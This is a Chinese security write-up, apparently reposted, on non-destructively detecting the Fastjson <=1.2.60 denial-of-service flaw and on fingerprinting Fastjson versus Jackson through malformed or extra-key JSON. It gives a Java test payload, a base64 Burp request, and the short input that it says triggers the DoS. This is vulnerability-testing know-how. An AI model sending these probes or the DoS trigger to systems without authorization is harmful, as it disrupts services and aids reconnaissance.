Fastjson <=1.2.60 DoS漏洞无损检测+Fastjson与Jackson组建区分

# Fastjson <=1.2.60 DoS漏洞无损检测+Fastjson与Jackson组建区分 > 原文:[https://www.zhihuifly.com/t/topic/2933](https://www.zhihuifly.com/t/topic/2933)

# Fastjson <=1.2.60 DoS漏洞无损检测+Fastjson与Jackson组建区分 ## 一、漏洞简介 ## 二、漏洞影响 Fastjson 1.2.60 以下版本 ## 三、复现过程 针对Fastjson DoS 漏洞的检测,相对较好识别,但其需要发送 DoS 的请求包,就会有一个时间延迟,但是部分使用者或 SRC平台对 DoS 类漏洞持保守态度。 所以这里提出一种无损检测 Fastjson DoS 漏洞的方法。 首先有以下几种情况: ### 未知目标是否使用 Fastjson ,但站点有原始报错回显 如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样 例如 ![imageimg](/static/ApacheCN/unclassified/img/22ca12e3284473674b57066a29798343.png) ### 无回显,盲区分 Fastjson 和 Jackson Java 系 Json 处理基本只有 Fastjson 和 Jackson。 由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson 如果请求包中的 json 如下: {"name":"S", "age":21} 追加一个随机 key ,修改 json 为 {"name":"S", "age":21,"agsbdkjada__ss_d":123} 这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key, 所以会报错,服务器的响应包中多少会有异常回显 Fastjson: ![imageimg](/static/ApacheCN/unclassified/img/faa1b883e6fdbe6865b095a7fe3fb88d.png) Jackson: ![imageimg](/static/ApacheCN/unclassified/img/737d4cfe8da85d7776c2f0d233344270.png) ### 无损检测原理 已经知道目标使用的是 Fastjson ,可以用以下 poc 去检测是否存在 DOS 漏洞 Fastjson < 1.2.60 在取不到值的时候会填充 \u001a , 在1.2.60 进行了修复, 对 \x 后面的字符进行是否为16进制允许字符 (0-9a-fA-F) 的校验, 所以这里就可以手动 padding ,构造一个特殊的字符串 \x\u001a\u001a 测试代码: Main.java ``` import com.alibaba.fastjson.JSON; `public class Main { public static void main(String[] args) { String payload = “{“a”:”\x\u001a\u001a"}"; System.out.println(payload); Object o = JSON.parseObject(payload); System.out.println(o.getClass()); } }` ``` Fastjson < 1.2.60 pom.xml ```
4.0.0

“`
<groupId>tophant</groupId>
<artifactId>tcc</artifactId>
<version>1.0-SNAPSHOT</version>
“`

com.alibaba

fastjson

1.2.59

``
“`

![imageimg](/static/ApacheCN/unclassified/img/2f70d63f4e0564ee74394369b057ee7b.png)

Fastjson == 1.2.60,可以看到报错

pom.xml

“`

4.0.0

“`
<groupId>tophant</groupId>
<artifactId>tcc</artifactId>
<version>1.0-SNAPSHOT</version>
“`

com.alibaba

fastjson

1.2.60

``
“`

![imageimg](/static/ApacheCN/unclassified/img/905f31059288f69865d412e75b81a56f.png)

### 使用 Burp 测试

在 Burp 中测试可以使用 : eyJhIjoiXHgaGiJ9 (base64解码)

当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错

![imageimg](/static/ApacheCN/unclassified/img/6d74e83ca0db2315aeac5e8078537084.png)

使用 {“a:”\x 进行请求就会发生 DOS

![imageimg](/static/ApacheCN/unclassified/img/f75e236265da98d5633b8b4fb655b38c.png)

## 四、参考链接

> https://blog.riskivy.com/%E6%97%A0%E6%8D%9F%E6%A3%80%E6%B5%8Bfastjson-dos%E6%BC%8F%E6%B4%9E%E4%BB%A5%E5%8F%8A%E7%9B%B2%E5%8C%BA%E5%88%86fastjson%E4%B8%8Ejackson%E7%BB%84%E4%BB%B6/

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容